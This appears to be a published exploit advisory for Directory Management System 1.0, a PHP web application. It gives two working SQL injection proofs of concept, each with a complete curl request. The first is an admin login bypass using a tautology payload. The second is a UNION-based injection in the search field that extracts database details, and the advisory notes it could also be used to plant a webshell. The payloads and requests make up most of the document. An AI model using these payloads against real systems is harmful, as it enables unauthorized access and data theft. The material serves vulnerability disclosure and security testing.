Directory Management System (DMS) version 1.0 suffers from multiple remote SQL Injection vulnerabilities, one of which allows for authentication bypass.
1c5ccd3cb8bc1a801eb6a51f1efb9f50e49a281cdb08471b3a9eda42e98b2036
# Exploit Title: Directory Management System (DMS) 1.0 - Authentication Bypass
# Date: 2020-07-20
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/directory-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=9346
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
Vulnerable File:
----------------
\admin\index.php
Vulnerable Code:
-----------------
line 8: $adminuser=$_POST['username'];
Vulnerable Issue:
-----------------
$adminuser=$_POST['username']; is not filtered correcty
POC:
----
URL: http://localhost/dms/admin/index.php
Username : ' or '1'='1'#
Password : anything
Sample Request:
curl -i -s -k --location --request POST 'http://localhost/dms/admin/' \
--header 'Origin: http://localhost:88' \
--header 'Cookie: PHPSESSID=2fco8hh2r5ccveq520n33chc80' \
--header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \
--header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' \
--header 'Connection: close' \
--header 'Referer: http://localhost:88/dms/admin/' \
--header 'Host: localhost:88' \
--header 'Accept-Encoding: gzip, deflate' \
--header 'Upgrade-Insecure-Requests: 1' \
--header 'Accept-Language: en-US,en;q=0.5' \
--header 'Content-Length: 66' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'username=%27+or+%271%27%3D%271%27%23&password=anything&login=login'
------
# Exploit Title: Directory Management System (DMS) 1.0 - 'searchdata' SQL Injection
# Date: 2020-07-20
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/directory-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=9346
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
Vulnerable File:
----------------
\searchdata.php
Vulnerable Code:
-----------------
line 69: $sdata=$_POST['searchdata'];
Vulnerable Issue:
-----------------
$sdata=$_POST['searchdata']; is not filtered correcty
[+] Attacker can inject the following payload inside the Search By Name / Contact Number Form
[+] Attacker can inject php webshell using SELECT INTO OUTFILE method through this entry point
POC:
----
Payload:
gh1mau') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL-- -
Sample Request:
curl -i -s -k --location --request POST 'http://localhost:88/dms/searchdata.php' \
--header 'Origin: http://localhost:88' \
--header 'Cookie: PHPSESSID=2fco8hh2r5ccveq520n33chc80' \
--header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \
--header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' \
--header 'Connection: close' \
--header 'Referer: http://localhost:88/dms/index.php' \
--header 'Host: localhost:88' \
--header 'Accept-Encoding: gzip, deflate' \
--header 'Upgrade-Insecure-Requests: 1' \
--header 'Accept-Language: en-US,en;q=0.5' \
--header 'Content-Length: 159' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'searchdata=gh1mau%27%29+UNION+ALL+SELECT+NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT_WS%280x3a%2Cversion%28%29%2Cdatabase%28%29%2Cuser%28%29%29%2CNULL--+-'